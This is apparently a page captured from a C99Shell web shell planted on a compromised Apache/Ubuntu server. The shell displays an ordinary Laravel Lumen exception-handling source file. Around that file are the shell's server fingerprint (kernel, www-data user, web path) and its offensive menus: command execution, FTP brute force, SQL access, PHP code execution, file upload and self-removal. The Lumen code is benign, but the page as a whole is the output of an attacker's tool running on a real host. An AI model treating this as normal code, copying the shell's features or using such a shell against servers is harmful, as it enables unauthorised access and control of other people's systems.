!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/vendor/laravel/lumen-framework/src/Concerns/   drwxr-xr-x
Free 12.94 GB of 57.97 GB (22.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RegistersExceptionHandlers.php (5.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Lumen\Concerns;

use 
ErrorException;
use 
Exception;
use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Illuminate\Log\LogManager;
use 
Laravel\Lumen\Exceptions\Handler;
use 
Symfony\Component\Console\Output\ConsoleOutput;
use 
Symfony\Component\ErrorHandler\Error\FatalError;
use 
Symfony\Component\HttpKernel\Exception\HttpException;
use 
Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
use 
Throwable;

trait 
RegistersExceptionHandlers
{
    
/**
     * Throw an HttpException with the given data.
     *
     * @param  int  $code
     * @param  string  $message
     * @param  array  $headers
     * @return void
     *
     * @throws \Symfony\Component\HttpKernel\Exception\HttpException
     */
    
public function abort($code$message '', array $headers = [])
    {
        if (
$code == 404) {
            throw new 
NotFoundHttpException($message);
        }

        throw new 
HttpException($code$messagenull$headers);
    }

    
/**
     * Set the error handling for the application.
     *
     * @return void
     */
    
protected function registerErrorHandling()
    {
        
error_reporting(-1);

        
set_error_handler(function ($level$message$file ''$line 0) {
            
$this->handleError($level$message$file$line);
        });

        
set_exception_handler(function ($e) {
            
$this->handleException($e);
        });

        
register_shutdown_function(function () {
            
$this->handleShutdown();
        });
    }

    
/**
     * Report PHP deprecations, or convert PHP errors to ErrorException instances.
     *
     * @param  int  $level
     * @param  string  $message
     * @param  string  $file
     * @param  int  $line
     * @param  array  $context
     * @return void
     *
     * @throws \ErrorException
     */
    
public function handleError($level$message$file ''$line 0$context = [])
    {
        if (
error_reporting() & $level) {
            if (
$this->isDeprecation($level)) {
                return 
$this->handleDeprecation($message$file$line);
            }

            throw new 
ErrorException($message0$level$file$line);
        }
    }

    
/**
     * Reports a deprecation to the "deprecations" logger.
     *
     * @param  string  $message
     * @param  string  $file
     * @param  int  $line
     * @return void
     */
    
public function handleDeprecation($message$file$line)
    {
        try {
            
$logger $this->make('log');
        } catch (
Exception $e) {
            return;
        }

        if (! 
$logger instanceof LogManager) {
            return;
        }

        
$this->ensureDeprecationLoggerIsConfigured();

        
with($logger->channel('deprecations'), function ($log) use ($message$file$line) {
            
$log->warning(sprintf('%s in %s on line %s',
                
$message$file$line
            
));
        });
    }

    
/**
     * Ensure the "deprecations" logger is configured.
     *
     * @return void
     */
    
protected function ensureDeprecationLoggerIsConfigured()
    {
        
with($this->make('config'), function ($config) {
            if (
$config->get('logging.channels.deprecations')) {
                return;
            }

            
$driver $config->get('logging.deprecations') ?? 'null';

            
$config->set('logging.channels.deprecations'$config->get("logging.channels.{$driver}"));
        });
    }

    
/**
     * Handle the PHP shutdown event.
     *
     * @return void
     */
    
public function handleShutdown()
    {
        if (! 
is_null($error error_get_last()) && $this->isFatal($error['type'])) {
            
$this->handleException($this->fatalErrorFromPhpError($error0));
        }
    }

    
/**
     * Create a new fatal error instance from an error array.
     *
     * @param  array  $error
     * @param  int|null  $traceOffset
     * @return \Symfony\Component\ErrorHandler\Error\FatalError
     */
    
protected function fatalErrorFromPhpError(array $error$traceOffset null)
    {
        return new 
FatalError($error['message'], 0$error$traceOffset);
    }

    
/**
     * Determine if the error level is a deprecation.
     *
     * @param  int  $level
     * @return bool
     */
    
protected function isDeprecation($level)
    {
        return 
in_array($level, [E_DEPRECATEDE_USER_DEPRECATED]);
    }

    
/**
     * Determine if the error type is fatal.
     *
     * @param  int  $type
     * @return bool
     */
    
protected function isFatal($type)
    {
        return 
in_array($type, [E_COMPILE_ERRORE_CORE_ERRORE_ERRORE_PARSE]);
    }

    
/**
     * Send the exception to the handler and return the response.
     *
     * @param  \Throwable  $e
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function sendExceptionToHandler(Throwable $e)
    {
        
$handler $this->resolveExceptionHandler();

        
$handler->report($e);

        return 
$handler->render($this->make('request'), $e);
    }

    
/**
     * Handle an uncaught exception instance.
     *
     * @param  \Throwable  $e
     * @return void
     */
    
protected function handleException(Throwable $e)
    {
        
$handler $this->resolveExceptionHandler();

        
$handler->report($e);

        if (
$this->runningInConsole()) {
            
$handler->renderForConsole(new ConsoleOutput$e);
        } else {
            
$handler->render($this->make('request'), $e)->send();
        }
    }

    
/**
     * Get the exception handler from the container.
     *
     * @return \Illuminate\Contracts\Debug\ExceptionHandler
     */
    
protected function resolveExceptionHandler()
    {
        if (
$this->bound(ExceptionHandler::class)) {
            return 
$this->make(ExceptionHandler::class);
        } else {
            return 
$this->make(Handler::class);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--